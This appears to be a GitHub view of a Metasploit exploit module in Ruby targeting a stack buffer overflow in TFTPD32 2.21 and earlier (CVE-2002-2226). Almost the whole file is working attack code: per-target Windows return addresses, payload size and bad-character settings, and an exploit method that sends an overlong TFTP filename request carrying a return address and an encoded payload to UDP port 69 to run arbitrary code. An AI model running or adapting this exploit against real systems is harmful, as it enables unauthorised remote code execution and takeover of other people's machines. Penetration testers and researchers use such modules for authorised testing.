/
tftpd32_long_filename.rb
73 lines (64 loc) · 1.9 KB
/
tftpd32_long_filename.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'TFTPD32 Long Filename Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in TFTPD32 version 2.21
and prior. By sending a request for an overly long file name
to the tftpd32 server, a remote attacker could overflow a buffer and
execute arbitrary code on the system.
},
'Author' => 'MC',
'References' =>
[
['CVE', '2002-2226'],
['OSVDB', '45903'],
['BID', '6199'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 250,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463} ],
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],
['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],
],
'Privileged' => true,
'DisclosureDate' => '2002-11-19'
))
register_options(
[
Opt::RPORT(69)
], self)
end
def exploit
connect_udp
print_status("Trying target #{target.name}...")
sploit =
"\x00\x01" +
rand_text_english(120, payload_badchars) +
"." +
rand_text_english(135, payload_badchars) +
[target.ret].pack('V') +
payload.encoded +
"\x00"
udp_sock.put(sploit)
disconnect_udp
end
end